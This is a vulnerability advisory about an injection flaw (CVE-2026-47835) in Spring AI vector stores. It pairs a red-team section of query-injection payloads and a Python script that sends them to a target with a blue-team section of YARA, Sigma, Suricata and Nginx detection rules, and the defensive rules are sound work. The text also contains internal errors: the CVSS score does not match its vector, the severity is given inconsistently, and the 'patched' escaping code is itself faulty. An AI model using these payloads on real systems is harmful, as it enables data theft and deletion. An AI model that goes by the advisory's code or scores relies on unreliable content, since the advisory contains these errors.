CVE-2026-47835

Executive Summary

CVE-2026-47835 is a critical injection vulnerability affecting Spring AI Vector Stores, specifically the Elasticsearch, OpenSearch, and GemFire VectorDB implementations. The vulnerability allows an unauthenticated attacker to inject special characters into vector store queries, leading to arbitrary query execution against the underlying database. This can result in unauthorized data access, data exfiltration, or potential denial of service. The vulnerability has a CVSS score of 8.6 (High) and affects Spring AI versions 1.0.0 through 1.0.x (fixed in 1.0.9) and 1.1.0 through 1.1.x (fixed in 1.1.8). No public exploit code or proof-of-concept is currently available, but the risk is significant due to the widespread use of these vector stores in AI/ML applications.

Supply Chain & Package Security

This vulnerability affects the following Maven artifacts:

• spring-ai-elasticsearch-store
• spring-ai-opensearch-store
• spring-ai-gemfire-store

These are part of the Spring AI ecosystem, which is widely used in Java-based AI applications. The vulnerability is introduced through improper input sanitization in the query construction logic. Organizations using these libraries should immediately upgrade to the patched versions (1.0.9 or 1.1.8) and verify their supply chain integrity.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.6 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – Data can be modified or deleted.
• Availability Impact: High (A:H) – Service disruption possible.

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability resides in the query construction logic of Spring AI's vector store implementations for Elasticsearch, OpenSearch, and GemFire VectorDB. These stores accept user input to perform similarity searches or other vector operations. The input is not properly sanitized, allowing an attacker to inject special characters (e.g., ', ", ;, |, &&) that break out of the intended query context.

For example, in Elasticsearch, the query might be constructed using a string template like:

String query = "{\"query\": {\"match\": {\"field\": \"" + userInput + "\"}}}";

If userInput contains " } } , "match_all": {} } }, the resulting JSON becomes:

{"query": {"match": {"field": "" } }, "match_all": {} }}}

This would execute a match_all query, returning all documents.

In OpenSearch and GemFire, similar injection points exist due to improper escaping of special characters in query parameters. The attacker can craft payloads to:

• Bypass authentication/authorization (if any).
• Extract sensitive data from the vector store.
• Modify or delete data.
• Execute denial-of-service attacks by crafting expensive queries.

The vulnerability is particularly dangerous because vector stores often contain sensitive embeddings or metadata used in AI/ML pipelines.

Vulnerable vs. Patched Code

Vulnerable Code (Spring AI < 1.0.9 / < 1.1.8):

// Example from ElasticsearchVectorStore
public List<Document> similaritySearch(String query, int topK) {
    String jsonQuery = "{\"query\": {\"match\": {\"content\": \"" + query + "\"}}}";
    // Execute query
}

Patched Code (Spring AI >= 1.0.9 / >= 1.1.8):

// Example from ElasticsearchVectorStore
public List<Document> similaritySearch(String query, int topK) {
    String escapedQuery = query.replace("\"", "\\\"").replace("\\", "\\\\");
    String jsonQuery = "{\"query\": {\"match\": {\"content\": \"" + escapedQuery + "\"}}}";
    // Execute query
}

The patch adds proper escaping of special characters (double quotes and backslashes) before constructing the query. Similar fixes are applied to OpenSearch and GemFire stores.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Spring AI application using vulnerable versions (1.0.0-1.0.8 or 1.1.0-1.1.7).
• Network access to the application's vector store endpoint.

Exploitation Steps:

1. Identify the vector store endpoint (e.g., /v1/vector/search).
2. Craft a malicious payload to inject arbitrary query logic.
3. Send the payload via HTTP POST/GET.

Example Payload (Elasticsearch):

{
  "query": "\" } }, \"match_all\": {} } }"
}

This payload closes the original match query and injects a match_all query, returning all documents.

Example Payload (OpenSearch):

{
  "query": "'; DROP TABLE documents; --"
}

If the backend uses SQL-like syntax, this could delete the documents table.

Example Payload (GemFire):

{
  "query": "'; SELECT * FROM /documents; --"
}

This could extract all data from the GemFire region.

Automation Script (Python):

import requests

target = "http://target-app:8080/v1/vector/search"
payload = "\" } }, \"match_all\": {} } }"

response = requests.post(target, json={"query": payload})
print(response.text)

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual query patterns in vector store logs.
2. Implement input validation and sanitization for all user-supplied data.
3. Use Web Application Firewalls (WAF) to block injection attempts.

Honeypot Setup:

• Deploy a fake vector store endpoint that logs all incoming queries.
• Analyze logs for special characters like ", ', ;, |, &&.

Mitigation:

• Immediately upgrade to Spring AI 1.0.9 or 1.1.8.
• If upgrade is not possible, implement a reverse proxy that sanitizes input.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing special characters in query parameters (e.g., ", ', ;, |, &&).
• Unusual query patterns like match_all or SELECT * in vector store logs.

File IOCs:

• Log entries showing unexpected query execution (e.g., [WARN] Query: {"query": {"match_all": {}}}).

Process IOCs:

• High CPU or memory usage due to expensive injected queries.

Example Log Entry:

2026-03-15 10:23:45 [WARN] VectorStore: Query executed: {"query": {"match": {"content": "" } }, "match_all": {} }}}

Detection Engineering

YARA Rule

rule CVE_2026_47835_Spring_AI_Injection {
    meta:
        description = "Detects Spring AI Vector Store injection attempts"
        author = "Valters IT"
        date = "2026-03-15"
        reference = "CVE-2026-47835"
    strings:
        $injection1 = /\"\s*\}\s*\}\s*,\s*\"match_all/ nocase
        $injection2 = /'\s*;\s*SELECT/ nocase
        $injection3 = /'\s*;\s*DROP/ nocase
        $injection4 = /'\s*;\s*DELETE/ nocase
    condition:
        any of them
}

Sigma Rule

title: Spring AI Vector Store Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-47835 by injecting special characters into vector store queries.
author: Valters IT
date: 2026-03-15
logsource:
    category: webserver
    product: spring
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '\" } }, \"match_all\"'
            - "'; SELECT"
            - "'; DROP"
            - "'; DELETE"
    condition: selection
falsepositives:
    - Legitimate use of special characters in queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-47835 Spring AI Vector Store Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/v1/vector/search"; http_uri; pcre:"/\\\"\s*\}\s*\}\s*,\s*\"match_all/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Spring AI to version 1.0.9 or 1.1.8 (or later).
2. Apply input sanitization to all user-supplied data before passing to vector store queries.
3. Restrict network access to vector store endpoints (e.g., use firewalls or VPNs).

Long-term Measures:

• Implement parameterized queries or prepared statements for vector store operations.
• Conduct regular security audits of AI/ML pipeline components.
• Monitor for similar injection vulnerabilities in other Spring AI components.

Workaround (if patching is not possible):

• Deploy a reverse proxy (e.g., Nginx) that blocks requests containing special characters in query parameters.
• Example Nginx rule:

location /v1/vector/search {
    if ($args ~* "[\"';|&]") {
        return 403;
    }
    proxy_pass http://backend;
}

Valters IT
DevSecOps & Cyber Threat Intelligence Expert